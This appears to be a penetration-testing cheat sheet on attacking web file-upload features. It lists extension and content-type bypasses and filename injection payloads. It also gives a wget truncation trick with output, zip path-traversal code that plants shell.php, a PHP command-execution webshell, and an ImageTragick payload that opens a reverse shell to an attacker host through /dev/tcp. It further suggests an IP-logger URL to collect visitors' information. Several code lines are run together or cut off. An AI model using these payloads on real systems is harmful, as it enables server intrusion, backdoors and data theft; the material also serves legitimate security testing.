File Upload

File Upload General Methodology

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr ...

  2. Check adding a valid extension before the execution extension (use previous extensions also):

    • file.png.php

    • file.png.Php5

  3. Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)

    • file.php%20

    • file.php%0a

    • file.php%00

    • file.php%0d%0a

    • file.php/

    • file.php.\

    • file.

    • file.php....

    • file.pHp5....

  4. Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.

    • file.png.php

    • file.png.pHp5

    • file.php%00.png

    • file.php\x00.png

    • file.php%0a.png

    • file.php%0d%0a.png

    • flile.phpJunk123png

  5. Add another layer of extensions to the previous check:

    • file.png.jpg.php

    • file.php%00.png%00.jpg

  6. Try to put the exec extension before the valid extension and pray so the server is misconfigured. **(useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php** will execute code):

    • ex: file.php.png

  7. Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)

Bypass Content-Type & magic number

  1. Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream

  2. Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata: exiftool -Comment="

    1. It is also possible that the magic bytes are just being checked in the file and you could set them anywhere in the file.

Other Tricks to check

  • Find a vulnerability to rename the file already uploaded (to change the extension).

  • Find a Local File Inclusion vulnerability to execute the backdoor.

  • Possible Information disclosure:

    1. Upload several times (and at the same time) the same file with the same name

    2. Upload a file with the name of a file or folder that already exists

    3. Uploading a file with “.”, “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.

    4. Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)

    5. Upload a file in Windows with invalid characters such as |<>*?” in its name. (Windows)

    6. Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.

  • Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

wget File Upload/SSRF Trick

In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed. The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget will rename the file to "A"*232+".php".

echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')python3 -m http.server 9080
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')The name is too long, 240 chars total.Trying to shorten...New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gifConnecting to 127.0.0.1:9080... connected.HTTP request sent, awaiting response... 200 OKLength: 10 [image/gif]Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’​AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s      ​2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

Other resources

From File upload to other vulnerabilities

  • Set filename to ../../../tmp/lol.png and try to achieve a path traversal

  • Set filename to sleep(10)-- -.jpg and you may be able to achieve a SQL injection

  • Set filename to to achieve a XSS

  • Set filename to ; sleep 10; to test some command injection (more command injections tricks here)

  • If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.

  • Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.

Here’s a top 10 list of things that you can achieve by uploading (from link):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE

  2. SVG: Stored XSS / SSRF / XXE

  3. GIF: Stored XSS / SSRF

  4. CSV: CSV injection

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : HTML injection / XSS / Open redirect

  8. PNG / JPEG: Pixel flood attack (DoS)

  9. ZIP: RCE via LFI / DoS

  10. PDF / PPTX: SSRF / BLIND XXE

Zip File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Symlink

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

ln -s ../../../index.php symindex.txtzip --symlinks test.zip symindex.txt

Decompress in different folders

The decompressed files will be created in unexpected folders.

One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.

An automated exploit to create this kind of files can be found here: https://github.com/ptoomey3/evilarc​

python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Some python code to create a malicious zip:

import zipfilefrom cStringIO import StringIO ​def create_zip():    f = StringIO()    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)    z.writestr('../../../../../var/www/html/webserver/shell.php', '')    z.writestr('otherfile.xml', 'Content of the file')    z.close()    zip = open('poc.zip','wb')    zip.write(f.getvalue())    zip.close() ​create_zip()

To achieve remote command execution I took the following steps:

  1. Create a PHP shell:

if(isset($_REQUEST['cmd'])){    $cmd = ($_REQUEST['cmd']);    system($cmd);}?>

  1. Use “file spraying” and create a compressed zip file:

[email protected]:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";donesimple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.phpxxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.phpxxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php  adding: xxAcmd.php (deflated 40%)  adding: xxAxxAcmd.php (deflated 40%)  adding: xxAxxAxxAcmd.php (deflated 40%)  adding: xxAxxAxxAxxAcmd.php (deflated 40%)  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)

3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:

:set modifiable:%s/xxA/..\//g:x!

Done!

Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:

Reference: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/​

ImageTragic

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

push graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'pop graphic-context

Embedding PHP Shell on PNG

The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this imagecopyresized and imagecopyresampled.

Read this post: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/​

Polyglot Files

Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a GIFAR is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.

Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.

This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file (PHp ARchive) that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a​

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